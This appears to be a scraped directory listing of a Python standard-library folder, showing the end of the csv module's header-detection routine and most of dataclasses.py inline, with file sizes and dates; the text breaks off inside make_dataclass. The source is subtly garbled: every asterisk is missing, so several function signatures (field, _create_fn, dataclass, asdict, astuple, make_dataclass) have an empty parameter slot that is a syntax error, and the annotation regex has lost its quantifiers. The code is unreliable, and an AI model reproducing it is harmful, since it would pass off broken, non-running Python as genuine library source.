of the first row being a header. rdr = reader(StringIO(sample), self.sniff(sample)) header = next(rdr) # assume first row is header columns = len(header) columnTypes = {} for i in range(columns): columnTypes[i] = None checked = 0 for row in rdr: # arbitrary number of rows to check, to keep it sane if checked > 20: break checked += 1 if len(row) != columns: continue # skip rows that have irregular number of columns for col in list(columnTypes.keys()): for thisType in [int, float, complex]: try: thisType(row[col]) break except (ValueError, OverflowError): pass else: # fallback to length of string thisType = len(row[col]) if thisType != columnTypes[col]: if columnTypes[col] is None: # add new column type columnTypes[col] = thisType else: # type is inconsistent, remove column from # consideration del columnTypes[col] # finally, compare results against first row and "vote" # on whether it's a header hasHeader = 0 for col, colType in columnTypes.items(): if type(colType) == type(0): # it's a length if len(header[col]) != colType: hasHeader += 1 else: hasHeader -= 1 else: # attempt typecast try: colType(header[col]) except (ValueError, TypeError): hasHeader += 1 else: hasHeader -= 1 return hasHeader > 0	15.8 KB	2024-04-17 17:55
📁 ctypes	-	2025-10-13 08:00
📁 curses	-	2025-10-13 08:00
📄 dataclasses.py import re import sys import copy import types import inspect import keyword import builtins import functools import _thread __all__ = ['dataclass', 'field', 'Field', 'FrozenInstanceError', 'InitVar', 'MISSING', # Helper functions. 'fields', 'asdict', 'astuple', 'make_dataclass', 'replace', 'is_dataclass', ] # Conditions for adding methods. The boxes indicate what action the # dataclass decorator takes. For all of these tables, when I talk # about init=, repr=, eq=, order=, unsafe_hash=, or frozen=, I'm # referring to the arguments to the @dataclass decorator. When # checking if a dunder method already exists, I mean check for an # entry in the class's __dict__. I never check to see if an attribute # is defined in a base class. # Key: # +=========+=========================================+ # + Value \| Meaning \| # +=========+=========================================+ # \| <blank> \| No action: no method is added. \| # +---------+-----------------------------------------+ # \| add \| Generated method is added. \| # +---------+-----------------------------------------+ # \| raise \| TypeError is raised. \| # +---------+-----------------------------------------+ # \| None \| Attribute is set to None. \| # +=========+=========================================+ # __init__ # # +--- init= parameter # \| # v \| \| \| # \| no \| yes \| <--- class has __init__ in __dict__? # +=======+=======+=======+ # \| False \| \| \| # +-------+-------+-------+ # \| True \| add \| \| <- the default # +=======+=======+=======+ # __repr__ # # +--- repr= parameter # \| # v \| \| \| # \| no \| yes \| <--- class has __repr__ in __dict__? # +=======+=======+=======+ # \| False \| \| \| # +-------+-------+-------+ # \| True \| add \| \| <- the default # +=======+=======+=======+ # __setattr__ # __delattr__ # # +--- frozen= parameter # \| # v \| \| \| # \| no \| yes \| <--- class has __setattr__ or __delattr__ in __dict__? # +=======+=======+=======+ # \| False \| \| \| <- the default # +-------+-------+-------+ # \| True \| add \| raise \| # +=======+=======+=======+ # Raise because not adding these methods would break the "frozen-ness" # of the class. # __eq__ # # +--- eq= parameter # \| # v \| \| \| # \| no \| yes \| <--- class has __eq__ in __dict__? # +=======+=======+=======+ # \| False \| \| \| # +-------+-------+-------+ # \| True \| add \| \| <- the default # +=======+=======+=======+ # __lt__ # __le__ # __gt__ # __ge__ # # +--- order= parameter # \| # v \| \| \| # \| no \| yes \| <--- class has any comparison method in __dict__? # +=======+=======+=======+ # \| False \| \| \| <- the default # +-------+-------+-------+ # \| True \| add \| raise \| # +=======+=======+=======+ # Raise because to allow this case would interfere with using # functools.total_ordering. # __hash__ # +------------------- unsafe_hash= parameter # \| +----------- eq= parameter # \| \| +--- frozen= parameter # \| \| \| # v v v \| \| \| # \| no \| yes \| <--- class has explicitly defined __hash__ # +=======+=======+=======+========+========+ # \| False \| False \| False \| \| \| No __eq__, use the base class __hash__ # +-------+-------+-------+--------+--------+ # \| False \| False \| True \| \| \| No __eq__, use the base class __hash__ # +-------+-------+-------+--------+--------+ # \| False \| True \| False \| None \| \| <-- the default, not hashable # +-------+-------+-------+--------+--------+ # \| False \| True \| True \| add \| \| Frozen, so hashable, allows override # +-------+-------+-------+--------+--------+ # \| True \| False \| False \| add \| raise \| Has no __eq__, but hashable # +-------+-------+-------+--------+--------+ # \| True \| False \| True \| add \| raise \| Has no __eq__, but hashable # +-------+-------+-------+--------+--------+ # \| True \| True \| False \| add \| raise \| Not frozen, but hashable # +-------+-------+-------+--------+--------+ # \| True \| True \| True \| add \| raise \| Frozen, so hashable # +=======+=======+=======+========+========+ # For boxes that are blank, __hash__ is untouched and therefore # inherited from the base class. If the base is object, then # id-based hashing is used. # # Note that a class may already have __hash__=None if it specified an # __eq__ method in the class body (not one that was created by # @dataclass). # # See _hash_action (below) for a coded version of this table. # Raised when an attempt is made to modify a frozen class. class FrozenInstanceError(AttributeError): pass # A sentinel object for default values to signal that a default # factory will be used. This is given a nice repr() which will appear # in the function signature of dataclasses' constructors. class _HAS_DEFAULT_FACTORY_CLASS: def __repr__(self): return '<factory>' _HAS_DEFAULT_FACTORY = _HAS_DEFAULT_FACTORY_CLASS() # A sentinel object to detect if a parameter is supplied or not. Use # a class to give it a better repr. class _MISSING_TYPE: pass MISSING = _MISSING_TYPE() # Since most per-field metadata will be unused, create an empty # read-only proxy that can be shared among all fields. _EMPTY_METADATA = types.MappingProxyType({}) # Markers for the various kinds of fields and pseudo-fields. class _FIELD_BASE: def __init__(self, name): self.name = name def __repr__(self): return self.name _FIELD = _FIELD_BASE('_FIELD') _FIELD_CLASSVAR = _FIELD_BASE('_FIELD_CLASSVAR') _FIELD_INITVAR = _FIELD_BASE('_FIELD_INITVAR') # The name of an attribute on the class where we store the Field # objects. Also used to check if a class is a Data Class. _FIELDS = '__dataclass_fields__' # The name of an attribute on the class that stores the parameters to # @dataclass. _PARAMS = '__dataclass_params__' # The name of the function, that if it exists, is called at the end of # __init__. _POST_INIT_NAME = '__post_init__' # String regex that string annotations for ClassVar or InitVar must match. # Allows "identifier.identifier[" or "identifier[". # https://bugs.python.org/issue33453 for details. _MODULE_IDENTIFIER_RE = re.compile(r'^(?:\s(\w+)\s\.)?\s(\w+)') class _InitVarMeta(type): def __getitem__(self, params): return self class InitVar(metaclass=_InitVarMeta): pass # Instances of Field are only ever created from within this module, # and only from the field() function, although Field instances are # exposed externally as (conceptually) read-only objects. # # name and type are filled in after the fact, not in __init__. # They're not known at the time this class is instantiated, but it's # convenient if they're available later. # # When cls._FIELDS is filled in with a list of Field objects, the name # and type fields will have been populated. class Field: __slots__ = ('name', 'type', 'default', 'default_factory', 'repr', 'hash', 'init', 'compare', 'metadata', '_field_type', # Private: not to be used by user code. ) def __init__(self, default, default_factory, init, repr, hash, compare, metadata): self.name = None self.type = None self.default = default self.default_factory = default_factory self.init = init self.repr = repr self.hash = hash self.compare = compare self.metadata = (_EMPTY_METADATA if metadata is None else types.MappingProxyType(metadata)) self._field_type = None def __repr__(self): return ('Field(' f'name={self.name!r},' f'type={self.type!r},' f'default={self.default!r},' f'default_factory={self.default_factory!r},' f'init={self.init!r},' f'repr={self.repr!r},' f'hash={self.hash!r},' f'compare={self.compare!r},' f'metadata={self.metadata!r},' f'_field_type={self._field_type}' ')') # This is used to support the PEP 487 __set_name__ protocol in the # case where we're using a field that contains a descriptor as a # default value. For details on __set_name__, see # https://www.python.org/dev/peps/pep-0487/#implementation-details. # # Note that in _process_class, this Field object is overwritten # with the default value, so the end result is a descriptor that # had __set_name__ called on it at the right time. def __set_name__(self, owner, name): func = getattr(type(self.default), '__set_name__', None) if func: # There is a __set_name__ method on the descriptor, call # it. func(self.default, owner, name) class _DataclassParams: __slots__ = ('init', 'repr', 'eq', 'order', 'unsafe_hash', 'frozen', ) def __init__(self, init, repr, eq, order, unsafe_hash, frozen): self.init = init self.repr = repr self.eq = eq self.order = order self.unsafe_hash = unsafe_hash self.frozen = frozen def __repr__(self): return ('_DataclassParams(' f'init={self.init!r},' f'repr={self.repr!r},' f'eq={self.eq!r},' f'order={self.order!r},' f'unsafe_hash={self.unsafe_hash!r},' f'frozen={self.frozen!r}' ')') # This function is used instead of exposing Field creation directly, # so that a type checker can be told (via overloads) that this is a # function whose type depends on its parameters. def field(, default=MISSING, default_factory=MISSING, init=True, repr=True, hash=None, compare=True, metadata=None): """Return an object to identify dataclass fields. default is the default value of the field. default_factory is a 0-argument function called to initialize a field's value. If init is True, the field will be a parameter to the class's __init__() function. If repr is True, the field will be included in the object's repr(). If hash is True, the field will be included in the object's hash(). If compare is True, the field will be used in comparison functions. metadata, if specified, must be a mapping which is stored but not otherwise examined by dataclass. It is an error to specify both default and default_factory. """ if default is not MISSING and default_factory is not MISSING: raise ValueError('cannot specify both default and default_factory') return Field(default, default_factory, init, repr, hash, compare, metadata) def _tuple_str(obj_name, fields): # Return a string representing each field of obj_name as a tuple # member. So, if fields is ['x', 'y'] and obj_name is "self", # return "(self.x,self.y)". # Special case for the 0-tuple. if not fields: return '()' # Note the trailing comma, needed if this turns out to be a 1-tuple. return f'({",".join([f"{obj_name}.{f.name}" for f in fields])},)' # This function's logic is copied from "recursive_repr" function in # reprlib module to avoid dependency. def _recursive_repr(user_function): # Decorator to make a repr function return "..." for a recursive # call. repr_running = set() @functools.wraps(user_function) def wrapper(self): key = id(self), _thread.get_ident() if key in repr_running: return '...' repr_running.add(key) try: result = user_function(self) finally: repr_running.discard(key) return result return wrapper def _create_fn(name, args, body, , globals=None, locals=None, return_type=MISSING): # Note that we mutate locals when exec() is called. Caller # beware! The only callers are internal to this module, so no # worries about external callers. if locals is None: locals = {} if 'BUILTINS' not in locals: locals['BUILTINS'] = builtins return_annotation = '' if return_type is not MISSING: locals['_return_type'] = return_type return_annotation = '->_return_type' args = ','.join(args) body = '\n'.join(f' {b}' for b in body) # Compute the text of the entire function. txt = f' def {name}({args}){return_annotation}:\n{body}' local_vars = ', '.join(locals.keys()) txt = f"def __create_fn__({local_vars}):\n{txt}\n return {name}" ns = {} exec(txt, globals, ns) return ns['__create_fn__'](locals) def _field_assign(frozen, name, value, self_name): # If we're a frozen class, then assign to our fields in __init__ # via object.__setattr__. Otherwise, just use a simple # assignment. # # self_name is what "self" is called in this function: don't # hard-code "self", since that might be a field name. if frozen: return f'BUILTINS.object.__setattr__({self_name},{name!r},{value})' return f'{self_name}.{name}={value}' def _field_init(f, frozen, globals, self_name): # Return the text of the line in the body of __init__ that will # initialize this field. default_name = f'_dflt_{f.name}' if f.default_factory is not MISSING: if f.init: # This field has a default factory. If a parameter is # given, use it. If not, call the factory. globals[default_name] = f.default_factory value = (f'{default_name}() ' f'if {f.name} is _HAS_DEFAULT_FACTORY ' f'else {f.name}') else: # This is a field that's not in the __init__ params, but # has a default factory function. It needs to be # initialized here by calling the factory function, # because there's no other way to initialize it. # For a field initialized with a default=defaultvalue, the # class dict just has the default value # (cls.fieldname=defaultvalue). But that won't work for a # default factory, the factory must be called in __init__ # and we must assign that to self.fieldname. We can't # fall back to the class dict's value, both because it's # not set, and because it might be different per-class # (which, after all, is why we have a factory function!). globals[default_name] = f.default_factory value = f'{default_name}()' else: # No default factory. if f.init: if f.default is MISSING: # There's no default, just do an assignment. value = f.name elif f.default is not MISSING: globals[default_name] = f.default value = f.name else: # This field does not need initialization. Signify that # to the caller by returning None. return None # Only test this now, so that we can create variables for the # default. However, return None to signify that we're not going # to actually do the assignment statement for InitVars. if f._field_type is _FIELD_INITVAR: return None # Now, actually generate the field assignment. return _field_assign(frozen, f.name, value, self_name) def _init_param(f): # Return the __init__ parameter string for this field. For # example, the equivalent of 'x:int=3' (except instead of 'int', # reference a variable set to int, and instead of '3', reference a # variable set to 3). if f.default is MISSING and f.default_factory is MISSING: # There's no default, and no default_factory, just output the # variable name and type. default = '' elif f.default is not MISSING: # There's a default, this will be the name that's used to look # it up. default = f'=_dflt_{f.name}' elif f.default_factory is not MISSING: # There's a factory function. Set a marker. default = '=_HAS_DEFAULT_FACTORY' return f'{f.name}:_type_{f.name}{default}' def _init_fn(fields, frozen, has_post_init, self_name, globals): # fields contains both real fields and InitVar pseudo-fields. # Make sure we don't have fields without defaults following fields # with defaults. This actually would be caught when exec-ing the # function source code, but catching it here gives a better error # message, and future-proofs us in case we build up the function # using ast. seen_default = False for f in fields: # Only consider fields in the __init__ call. if f.init: if not (f.default is MISSING and f.default_factory is MISSING): seen_default = True elif seen_default: raise TypeError(f'non-default argument {f.name!r} ' 'follows default argument') locals = {f'_type_{f.name}': f.type for f in fields} locals.update({ 'MISSING': MISSING, '_HAS_DEFAULT_FACTORY': _HAS_DEFAULT_FACTORY, }) body_lines = [] for f in fields: line = _field_init(f, frozen, locals, self_name) # line is None means that this field doesn't require # initialization (it's a pseudo-field). Just skip it. if line: body_lines.append(line) # Does this class have a post-init function? if has_post_init: params_str = ','.join(f.name for f in fields if f._field_type is _FIELD_INITVAR) body_lines.append(f'{self_name}.{_POST_INIT_NAME}({params_str})') # If no body lines, use 'pass'. if not body_lines: body_lines = ['pass'] return _create_fn('__init__', [self_name] + [_init_param(f) for f in fields if f.init], body_lines, locals=locals, globals=globals, return_type=None) def _repr_fn(fields, globals): fn = _create_fn('__repr__', ('self',), ['return self.__class__.__qualname__ + f"(' + ', '.join([f"{f.name}={{self.{f.name}!r}}" for f in fields]) + ')"'], globals=globals) return _recursive_repr(fn) def _frozen_get_del_attr(cls, fields, globals): locals = {'cls': cls, 'FrozenInstanceError': FrozenInstanceError} if fields: fields_str = '(' + ','.join(repr(f.name) for f in fields) + ',)' else: # Special case for the zero-length tuple. fields_str = '()' return (_create_fn('__setattr__', ('self', 'name', 'value'), (f'if type(self) is cls or name in {fields_str}:', ' raise FrozenInstanceError(f"cannot assign to field {name!r}")', f'super(cls, self).__setattr__(name, value)'), locals=locals, globals=globals), _create_fn('__delattr__', ('self', 'name'), (f'if type(self) is cls or name in {fields_str}:', ' raise FrozenInstanceError(f"cannot delete field {name!r}")', f'super(cls, self).__delattr__(name)'), locals=locals, globals=globals), ) def _cmp_fn(name, op, self_tuple, other_tuple, globals): # Create a comparison function. If the fields in the object are # named 'x' and 'y', then self_tuple is the string # '(self.x,self.y)' and other_tuple is the string # '(other.x,other.y)'. return _create_fn(name, ('self', 'other'), [ 'if other.__class__ is self.__class__:', f' return {self_tuple}{op}{other_tuple}', 'return NotImplemented'], globals=globals) def _hash_fn(fields, globals): self_tuple = _tuple_str('self', fields) return _create_fn('__hash__', ('self',), [f'return hash({self_tuple})'], globals=globals) def _is_classvar(a_type, typing): # This test uses a typing internal class, but it's the best way to # test if this is a ClassVar. return (a_type is typing.ClassVar or (type(a_type) is typing._GenericAlias and a_type.__origin__ is typing.ClassVar)) def _is_initvar(a_type, dataclasses): # The module we're checking against is the module we're # currently in (dataclasses.py). return a_type is dataclasses.InitVar def _is_type(annotation, cls, a_module, a_type, is_type_predicate): # Given a type annotation string, does it refer to a_type in # a_module? For example, when checking that annotation denotes a # ClassVar, then a_module is typing, and a_type is # typing.ClassVar. # It's possible to look up a_module given a_type, but it involves # looking in sys.modules (again!), and seems like a waste since # the caller already knows a_module. # - annotation is a string type annotation # - cls is the class that this annotation was found in # - a_module is the module we want to match # - a_type is the type in that module we want to match # - is_type_predicate is a function called with (obj, a_module) # that determines if obj is of the desired type. # Since this test does not do a local namespace lookup (and # instead only a module (global) lookup), there are some things it # gets wrong. # With string annotations, cv0 will be detected as a ClassVar: # CV = ClassVar # @dataclass # class C0: # cv0: CV # But in this example cv1 will not be detected as a ClassVar: # @dataclass # class C1: # CV = ClassVar # cv1: CV # In C1, the code in this function (_is_type) will look up "CV" in # the module and not find it, so it will not consider cv1 as a # ClassVar. This is a fairly obscure corner case, and the best # way to fix it would be to eval() the string "CV" with the # correct global and local namespaces. However that would involve # a eval() penalty for every single field of every dataclass # that's defined. It was judged not worth it. match = _MODULE_IDENTIFIER_RE.match(annotation) if match: ns = None module_name = match.group(1) if not module_name: # No module name, assume the class's module did # "from dataclasses import InitVar". ns = sys.modules.get(cls.__module__).__dict__ else: # Look up module_name in the class's module. module = sys.modules.get(cls.__module__) if module and module.__dict__.get(module_name) is a_module: ns = sys.modules.get(a_type.__module__).__dict__ if ns and is_type_predicate(ns.get(match.group(2)), a_module): return True return False def _get_field(cls, a_name, a_type): # Return a Field object for this field name and type. ClassVars # and InitVars are also returned, but marked as such (see # f._field_type). # If the default value isn't derived from Field, then it's only a # normal default value. Convert it to a Field(). default = getattr(cls, a_name, MISSING) if isinstance(default, Field): f = default else: if isinstance(default, types.MemberDescriptorType): # This is a field in __slots__, so it has no default value. default = MISSING f = field(default=default) # Only at this point do we know the name and the type. Set them. f.name = a_name f.type = a_type # Assume it's a normal field until proven otherwise. We're next # going to decide if it's a ClassVar or InitVar, everything else # is just a normal field. f._field_type = _FIELD # In addition to checking for actual types here, also check for # string annotations. get_type_hints() won't always work for us # (see https://github.com/python/typing/issues/508 for example), # plus it's expensive and would require an eval for every stirng # annotation. So, make a best effort to see if this is a ClassVar # or InitVar using regex's and checking that the thing referenced # is actually of the correct type. # For the complete discussion, see https://bugs.python.org/issue33453 # If typing has not been imported, then it's impossible for any # annotation to be a ClassVar. So, only look for ClassVar if # typing has been imported by any module (not necessarily cls's # module). typing = sys.modules.get('typing') if typing: if (_is_classvar(a_type, typing) or (isinstance(f.type, str) and _is_type(f.type, cls, typing, typing.ClassVar, _is_classvar))): f._field_type = _FIELD_CLASSVAR # If the type is InitVar, or if it's a matching string annotation, # then it's an InitVar. if f._field_type is _FIELD: # The module we're checking against is the module we're # currently in (dataclasses.py). dataclasses = sys.modules[__name__] if (_is_initvar(a_type, dataclasses) or (isinstance(f.type, str) and _is_type(f.type, cls, dataclasses, dataclasses.InitVar, _is_initvar))): f._field_type = _FIELD_INITVAR # Validations for individual fields. This is delayed until now, # instead of in the Field() constructor, since only here do we # know the field name, which allows for better error reporting. # Special restrictions for ClassVar and InitVar. if f._field_type in (_FIELD_CLASSVAR, _FIELD_INITVAR): if f.default_factory is not MISSING: raise TypeError(f'field {f.name} cannot have a ' 'default factory') # Should I check for other field settings? default_factory # seems the most serious to check for. Maybe add others. For # example, how about init=False (or really, # init=<not-the-default-init-value>)? It makes no sense for # ClassVar and InitVar to specify init=<anything>. # For real fields, disallow mutable defaults for known types. if f._field_type is _FIELD and isinstance(f.default, (list, dict, set)): raise ValueError(f'mutable default {type(f.default)} for field ' f'{f.name} is not allowed: use default_factory') return f def _set_new_attribute(cls, name, value): # Never overwrites an existing attribute. Returns True if the # attribute already exists. if name in cls.__dict__: return True setattr(cls, name, value) return False # Decide if/how we're going to create a hash function. Key is # (unsafe_hash, eq, frozen, does-hash-exist). Value is the action to # take. The common case is to do nothing, so instead of providing a # function that is a no-op, use None to signify that. def _hash_set_none(cls, fields, globals): return None def _hash_add(cls, fields, globals): flds = [f for f in fields if (f.compare if f.hash is None else f.hash)] return _hash_fn(flds, globals) def _hash_exception(cls, fields, globals): # Raise an exception. raise TypeError(f'Cannot overwrite attribute __hash__ ' f'in class {cls.__name__}') # # +-------------------------------------- unsafe_hash? # \| +------------------------------- eq? # \| \| +------------------------ frozen? # \| \| \| +---------------- has-explicit-hash? # \| \| \| \| # \| \| \| \| +------- action # \| \| \| \| \| # v v v v v _hash_action = {(False, False, False, False): None, (False, False, False, True ): None, (False, False, True, False): None, (False, False, True, True ): None, (False, True, False, False): _hash_set_none, (False, True, False, True ): None, (False, True, True, False): _hash_add, (False, True, True, True ): None, (True, False, False, False): _hash_add, (True, False, False, True ): _hash_exception, (True, False, True, False): _hash_add, (True, False, True, True ): _hash_exception, (True, True, False, False): _hash_add, (True, True, False, True ): _hash_exception, (True, True, True, False): _hash_add, (True, True, True, True ): _hash_exception, } # See https://bugs.python.org/issue32929#msg312829 for an if-statement # version of this table. def _process_class(cls, init, repr, eq, order, unsafe_hash, frozen): # Now that dicts retain insertion order, there's no reason to use # an ordered dict. I am leveraging that ordering here, because # derived class fields overwrite base class fields, but the order # is defined by the base class, which is found first. fields = {} if cls.__module__ in sys.modules: globals = sys.modules[cls.__module__].__dict__ else: # Theoretically this can happen if someone writes # a custom string to cls.__module__. In which case # such dataclass won't be fully introspectable # (w.r.t. typing.get_type_hints) but will still function # correctly. globals = {} setattr(cls, _PARAMS, _DataclassParams(init, repr, eq, order, unsafe_hash, frozen)) # Find our base classes in reverse MRO order, and exclude # ourselves. In reversed order so that more derived classes # override earlier field definitions in base classes. As long as # we're iterating over them, see if any are frozen. any_frozen_base = False has_dataclass_bases = False for b in cls.__mro__[-1:0:-1]: # Only process classes that have been processed by our # decorator. That is, they have a _FIELDS attribute. base_fields = getattr(b, _FIELDS, None) if base_fields: has_dataclass_bases = True for f in base_fields.values(): fields[f.name] = f if getattr(b, _PARAMS).frozen: any_frozen_base = True # Annotations that are defined in this class (not in base # classes). If __annotations__ isn't present, then this class # adds no new annotations. We use this to compute fields that are # added by this class. # # Fields are found from cls_annotations, which is guaranteed to be # ordered. Default values are from class attributes, if a field # has a default. If the default value is a Field(), then it # contains additional info beyond (and possibly including) the # actual default value. Pseudo-fields ClassVars and InitVars are # included, despite the fact that they're not real fields. That's # dealt with later. cls_annotations = cls.__dict__.get('__annotations__', {}) # Now find fields in our class. While doing so, validate some # things, and set the default values (as class attributes) where # we can. cls_fields = [_get_field(cls, name, type) for name, type in cls_annotations.items()] for f in cls_fields: fields[f.name] = f # If the class attribute (which is the default value for this # field) exists and is of type 'Field', replace it with the # real default. This is so that normal class introspection # sees a real default value, not a Field. if isinstance(getattr(cls, f.name, None), Field): if f.default is MISSING: # If there's no default, delete the class attribute. # This happens if we specify field(repr=False), for # example (that is, we specified a field object, but # no default value). Also if we're using a default # factory. The class attribute should not be set at # all in the post-processed class. delattr(cls, f.name) else: setattr(cls, f.name, f.default) # Do we have any Field members that don't also have annotations? for name, value in cls.__dict__.items(): if isinstance(value, Field) and not name in cls_annotations: raise TypeError(f'{name!r} is a field but has no type annotation') # Check rules that apply if we are derived from any dataclasses. if has_dataclass_bases: # Raise an exception if any of our bases are frozen, but we're not. if any_frozen_base and not frozen: raise TypeError('cannot inherit non-frozen dataclass from a ' 'frozen one') # Raise an exception if we're frozen, but none of our bases are. if not any_frozen_base and frozen: raise TypeError('cannot inherit frozen dataclass from a ' 'non-frozen one') # Remember all of the fields on our class (including bases). This # also marks this class as being a dataclass. setattr(cls, _FIELDS, fields) # Was this class defined with an explicit __hash__? Note that if # __eq__ is defined in this class, then python will automatically # set __hash__ to None. This is a heuristic, as it's possible # that such a __hash__ == None was not auto-generated, but it # close enough. class_hash = cls.__dict__.get('__hash__', MISSING) has_explicit_hash = not (class_hash is MISSING or (class_hash is None and '__eq__' in cls.__dict__)) # If we're generating ordering methods, we must be generating the # eq methods. if order and not eq: raise ValueError('eq must be true if order is true') if init: # Does this class have a post-init function? has_post_init = hasattr(cls, _POST_INIT_NAME) # Include InitVars and regular fields (so, not ClassVars). flds = [f for f in fields.values() if f._field_type in (_FIELD, _FIELD_INITVAR)] _set_new_attribute(cls, '__init__', _init_fn(flds, frozen, has_post_init, # The name to use for the "self" # param in __init__. Use "self" # if possible. '__dataclass_self__' if 'self' in fields else 'self', globals, )) # Get the fields as a list, and include only real fields. This is # used in all of the following methods. field_list = [f for f in fields.values() if f._field_type is _FIELD] if repr: flds = [f for f in field_list if f.repr] _set_new_attribute(cls, '__repr__', _repr_fn(flds, globals)) if eq: # Create _eq__ method. There's no need for a __ne__ method, # since python will call __eq__ and negate it. flds = [f for f in field_list if f.compare] self_tuple = _tuple_str('self', flds) other_tuple = _tuple_str('other', flds) _set_new_attribute(cls, '__eq__', _cmp_fn('__eq__', '==', self_tuple, other_tuple, globals=globals)) if order: # Create and set the ordering methods. flds = [f for f in field_list if f.compare] self_tuple = _tuple_str('self', flds) other_tuple = _tuple_str('other', flds) for name, op in [('__lt__', '<'), ('__le__', '<='), ('__gt__', '>'), ('__ge__', '>='), ]: if _set_new_attribute(cls, name, _cmp_fn(name, op, self_tuple, other_tuple, globals=globals)): raise TypeError(f'Cannot overwrite attribute {name} ' f'in class {cls.__name__}. Consider using ' 'functools.total_ordering') if frozen: for fn in _frozen_get_del_attr(cls, field_list, globals): if _set_new_attribute(cls, fn.__name__, fn): raise TypeError(f'Cannot overwrite attribute {fn.__name__} ' f'in class {cls.__name__}') # Decide if/how we're going to create a hash function. hash_action = _hash_action[bool(unsafe_hash), bool(eq), bool(frozen), has_explicit_hash] if hash_action: # No need to call _set_new_attribute here, since by the time # we're here the overwriting is unconditional. cls.__hash__ = hash_action(cls, field_list, globals) if not getattr(cls, '__doc__'): # Create a class doc-string. cls.__doc__ = (cls.__name__ + str(inspect.signature(cls)).replace(' -> None', '')) return cls # _cls should never be specified by keyword, so start it with an # underscore. The presence of _cls is used to detect if this # decorator is being called with parameters or not. def dataclass(_cls=None, , init=True, repr=True, eq=True, order=False, unsafe_hash=False, frozen=False): """Returns the same class as was passed in, with dunder methods added based on the fields defined in the class. Examines PEP 526 __annotations__ to determine fields. If init is true, an __init__() method is added to the class. If repr is true, a __repr__() method is added. If order is true, rich comparison dunder methods are added. If unsafe_hash is true, a __hash__() method function is added. If frozen is true, fields may not be assigned to after instance creation. """ def wrap(cls): return _process_class(cls, init, repr, eq, order, unsafe_hash, frozen) # See if we're being called as @dataclass or @dataclass(). if _cls is None: # We're called with parens. return wrap # We're called as @dataclass without parens. return wrap(_cls) def fields(class_or_instance): """Return a tuple describing the fields of this dataclass. Accepts a dataclass or an instance of one. Tuple elements are of type Field. """ # Might it be worth caching this, per class? try: fields = getattr(class_or_instance, _FIELDS) except AttributeError: raise TypeError('must be called with a dataclass type or instance') # Exclude pseudo-fields. Note that fields is sorted by insertion # order, so the order of the tuple is as the fields were defined. return tuple(f for f in fields.values() if f._field_type is _FIELD) def _is_dataclass_instance(obj): """Returns True if obj is an instance of a dataclass.""" return hasattr(type(obj), _FIELDS) def is_dataclass(obj): """Returns True if obj is a dataclass or an instance of a dataclass.""" cls = obj if isinstance(obj, type) else type(obj) return hasattr(cls, _FIELDS) def asdict(obj, , dict_factory=dict): """Return the fields of a dataclass instance as a new dictionary mapping field names to field values. Example usage: @dataclass class C: x: int y: int c = C(1, 2) assert asdict(c) == {'x': 1, 'y': 2} If given, 'dict_factory' will be used instead of built-in dict. The function applies recursively to field values that are dataclass instances. This will also look into built-in containers: tuples, lists, and dicts. """ if not _is_dataclass_instance(obj): raise TypeError("asdict() should be called on dataclass instances") return _asdict_inner(obj, dict_factory) def _asdict_inner(obj, dict_factory): if _is_dataclass_instance(obj): result = [] for f in fields(obj): value = _asdict_inner(getattr(obj, f.name), dict_factory) result.append((f.name, value)) return dict_factory(result) elif isinstance(obj, tuple) and hasattr(obj, '_fields'): # obj is a namedtuple. Recurse into it, but the returned # object is another namedtuple of the same type. This is # similar to how other list- or tuple-derived classes are # treated (see below), but we just need to create them # differently because a namedtuple's __init__ needs to be # called differently (see bpo-34363). # I'm not using namedtuple's _asdict() # method, because: # - it does not recurse in to the namedtuple fields and # convert them to dicts (using dict_factory). # - I don't actually want to return a dict here. The the main # use case here is json.dumps, and it handles converting # namedtuples to lists. Admittedly we're losing some # information here when we produce a json list instead of a # dict. Note that if we returned dicts here instead of # namedtuples, we could no longer call asdict() on a data # structure where a namedtuple was used as a dict key. return type(obj)([_asdict_inner(v, dict_factory) for v in obj]) elif isinstance(obj, (list, tuple)): # Assume we can create an object of this type by passing in a # generator (which is not true for namedtuples, handled # above). return type(obj)(_asdict_inner(v, dict_factory) for v in obj) elif isinstance(obj, dict): return type(obj)((_asdict_inner(k, dict_factory), _asdict_inner(v, dict_factory)) for k, v in obj.items()) else: return copy.deepcopy(obj) def astuple(obj, , tuple_factory=tuple): """Return the fields of a dataclass instance as a new tuple of field values. Example usage:: @dataclass class C: x: int y: int c = C(1, 2) assert astuple(c) == (1, 2) If given, 'tuple_factory' will be used instead of built-in tuple. The function applies recursively to field values that are dataclass instances. This will also look into built-in containers: tuples, lists, and dicts. """ if not _is_dataclass_instance(obj): raise TypeError("astuple() should be called on dataclass instances") return _astuple_inner(obj, tuple_factory) def _astuple_inner(obj, tuple_factory): if _is_dataclass_instance(obj): result = [] for f in fields(obj): value = _astuple_inner(getattr(obj, f.name), tuple_factory) result.append(value) return tuple_factory(result) elif isinstance(obj, tuple) and hasattr(obj, '_fields'): # obj is a namedtuple. Recurse into it, but the returned # object is another namedtuple of the same type. This is # similar to how other list- or tuple-derived classes are # treated (see below), but we just need to create them # differently because a namedtuple's __init__ needs to be # called differently (see bpo-34363). return type(obj)([_astuple_inner(v, tuple_factory) for v in obj]) elif isinstance(obj, (list, tuple)): # Assume we can create an object of this type by passing in a # generator (which is not true for namedtuples, handled # above). return type(obj)(_astuple_inner(v, tuple_factory) for v in obj) elif isinstance(obj, dict): return type(obj)((_astuple_inner(k, tuple_factory), _astuple_inner(v, tuple_factory)) for k, v in obj.items()) else: return copy.deepcopy(obj) def make_dataclass(cls_name, fields, , bases=(), namespace=None, init=True, repr=True, eq=True, order=False, unsafe_hash=False, frozen=False): """Return a new dynamically created dataclass. The dataclass name will be 'cls_name'. 'fields' is an iterable of either (name), (name, type) or (name, type, Field) objects. If type is omitted, use the string 'typing.Any'. Field objects are created by the equivalent of calling 'field(name, type [, Field-info])'. C = make_dataclass('C', ['x', ('y', int), ('z', int, field(init=False))], bases=(Base,)) is equivalent to: @dataclass class C(Base): x: 'typing.Any' y: int z: int = field(init=False) For the bases and namespace parameters, see the builtin type() function. The parameters init, repr, eq, order, unsafe_hash, and frozen are passed to dataclass(). """ if namespace is None: namespace = {} else: # Copy namespace since we're going to mutate it. namespace = namespace.copy() # While we're looking through the field names, validate that they # are identifiers, are not keywords, and not duplicates. seen = set() anns = {} for item in fields: if isinstance(item, str): name = item tp = 'typing.Any' elif len(item) == 2: name, tp, = item elif len(item) == 3: name, tp, spec = item namespace[name] = spec else: raise TypeError(f'Invalid field: {item!r}') if not isinstance(name, str) or not name.isidentifier(): raise TypeError(f'Field names must be valid identifiers: {name!r}') if keyword.iskeyword(name): raise TypeError(f'Field names must not be keywords: {name!r}') if name in seen: raise 